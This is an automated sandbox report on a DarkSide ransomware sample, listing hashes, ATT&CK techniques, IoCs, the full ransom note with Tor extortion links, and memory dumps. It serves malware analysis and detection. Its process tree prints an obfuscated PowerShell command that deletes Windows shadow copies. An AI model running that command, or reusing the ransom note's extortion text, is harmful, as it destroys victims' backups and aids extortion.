darkside | 89eeac2abad61ef22fd914f9c4efaba04ca830d93ab1611c985531ac6d5e8460

Analysis

max time kernel
110s
max time network
113s
platform
windows7_x64
resource
win7v20210410
submitted
12-05-2021 19:34

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General

Target

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Size

226KB
MD5

c81dae5c67fb72a2c2f24b178aea50b7
SHA1

4bd6437cd1dc77097a7951466531674f80c866c6
SHA256

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a
SHA512

30d63e080f37f34fb29fd46f8fb1572d79f645154a002c8da5914ae3d51e224bc60601f91f5d58ac2ce9f81d56a8ad467d7fde55d429ed269df3c196e6687b2c

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.98239029.TXT

Family

darkside

Ransom Note

----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\MergeShow.tif => C:\Users\Admin\Pictures\MergeShow.tif.98239029	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File opened for modification	C:\Users\Admin\Pictures\MergeShow.tif.98239029	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File renamed	C:\Users\Admin\Pictures\SplitInstall.crw => C:\Users\Admin\Pictures\SplitInstall.crw.98239029	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File opened for modification	C:\Users\Admin\Pictures\SplitInstall.crw.98239029	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File renamed	C:\Users\Admin\Pictures\ConvertFromExport.raw => C:\Users\Admin\Pictures\ConvertFromExport.raw.98239029	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File opened for modification	C:\Users\Admin\Pictures\ConvertFromExport.raw.98239029	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File renamed	C:\Users\Admin\Pictures\FormatHide.raw => C:\Users\Admin\Pictures\FormatHide.raw.98239029	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File opened for modification	C:\Users\Admin\Pictures\FormatHide.raw.98239029	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

pid process

1852 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exepowershell.exe

pid	process
1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
1332	powershell.exe
1332	powershell.exe
1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSecurityPrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeTakeOwnershipPrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeLoadDriverPrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSystemProfilePrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSystemtimePrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeProfSingleProcessPrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeIncBasePriorityPrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeCreatePagefilePrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeBackupPrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeRestorePrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeShutdownPrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeDebugPrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSystemEnvironmentPrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeRemoteShutdownPrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeUndockPrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeManageVolumePrivilege	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 33	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 34	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 35	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeBackupPrivilege	1684	vssvc.exe
Token: SeRestorePrivilege	1684	vssvc.exe
Token: SeAuditPrivilege	1684	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

description	pid	process	target process
PID 1852 wrote to memory of 1332	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe	powershell.exe
PID 1852 wrote to memory of 1332	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe	powershell.exe
PID 1852 wrote to memory of 1332	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe	powershell.exe
PID 1852 wrote to memory of 1332	1852	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
"C:\Users\Admin\AppData\Local\Temp\48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe"
1⤵
- Modifies extensions of user files
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1332

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1684

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5
3774decb0af5a312ef542b01e84b5418

SHA1
87555814ab8794be9805c13f460cf02d93dfc84a

SHA256
d4e6a1da379a821e89e1d5c123e649223c095dc4851c5ef3eb7a3a018254fdee

SHA512
b3ed0af2409b21812daafd2d42249167b8b70d5d4658ee18047377ae72c72ff4827424a7404714bf11db5de7ca1e7296e6907f2297f6f5756b6838d47b8a7d97

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
c6e2bf91782405b4d52f087b6bc574ea

SHA1
d0034ec75e368969c1e163a1dd3551ba32c7c4c6

SHA256
b132cc585ea15c307b2465e48ac051adaeb4bde58c3f7bb1a18e2d5ffdff1bbe

SHA512
6262839a1fba05e11d8bb298c4c317c96aacf796b72d92b5dc5b1e1f570f3f18f441977e6e863b835a38b8e275cd3169a57d6b2d0a1f329e07d550aedc8ff81a

Download Submit
memory/1332-70-0x000000001ACE4000-0x000000001ACE6000-memory.dmp

Filesize
8KB

Download
memory/1332-72-0x000000001C360000-0x000000001C361000-memory.dmp

Filesize
4KB

Download
memory/1332-64-0x0000000002040000-0x0000000002041000-memory.dmp

Filesize
4KB

Download
memory/1332-65-0x000000001AD60000-0x000000001AD61000-memory.dmp

Filesize
4KB

Download
memory/1332-62-0x0000000000000000-mapping.dmp

Download
memory/1332-69-0x000000001ACE0000-0x000000001ACE2000-memory.dmp

Filesize
8KB

Download
memory/1332-73-0x000000001B790000-0x000000001B791000-memory.dmp

Filesize
4KB

Download
memory/1332-68-0x0000000002080000-0x0000000002081000-memory.dmp

Filesize
4KB

Download
memory/1332-63-0x000007FEFC471000-0x000007FEFC473000-memory.dmp

Filesize
8KB

Download
memory/1332-71-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

Filesize
4KB

Download
memory/1852-67-0x00000000002B0000-0x00000000002B1000-memory.dmp

Filesize
4KB

Download
memory/1852-60-0x00000000002A0000-0x00000000002A1000-memory.dmp

Filesize
4KB

Download
memory/1852-66-0x0000000000250000-0x000000000028C000-memory.dmp

Filesize
240KB

Download
memory/1852-61-0x0000000076A81000-0x0000000076A83000-memory.dmp

Filesize
8KB

Download